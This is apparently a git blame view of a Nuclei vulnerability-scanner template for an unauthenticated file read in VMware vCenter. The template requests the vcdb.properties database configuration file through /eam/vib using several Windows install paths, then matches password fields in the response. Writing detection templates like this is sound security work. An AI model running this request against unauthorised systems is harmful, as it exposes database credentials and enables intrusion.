2020-10-13 14:24:30 +00:00
|
|
|
id: vmware-vcenter-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: VMware vCenter Unauthenticated Arbitrary File Read
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: high
|
2020-10-13 16:02:26 +00:00
|
|
|
|
2020-10-13 16:04:12 +00:00
|
|
|
# Reference:-
|
|
|
|
# https://twitter.com/ptswarm/status/1316016337550938122
|
|
|
|
# https://kb.vmware.com/s/article/7960893
|
2020-10-13 14:24:30 +00:00
|
|
|
|
|
|
|
requests:
|
2020-10-13 14:55:29 +00:00
|
|
|
- payloads:
|
|
|
|
path:
|
|
|
|
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
|
|
|
|
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
|
|
|
|
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
|
|
|
|
attack: sniper
|
|
|
|
raw:
|
|
|
|
- |
|
2020-11-21 06:55:49 +00:00
|
|
|
GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
|
2020-10-13 14:55:29 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
|
|
|
|
Accept: */*
|
|
|
|
Accept-Language: en
|
|
|
|
Connection: close
|
2020-10-13 14:24:30 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2020-10-13 15:51:29 +00:00
|
|
|
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
|
2020-10-13 14:34:08 +00:00
|
|
|
part: body
|
2020-10-13 14:24:30 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|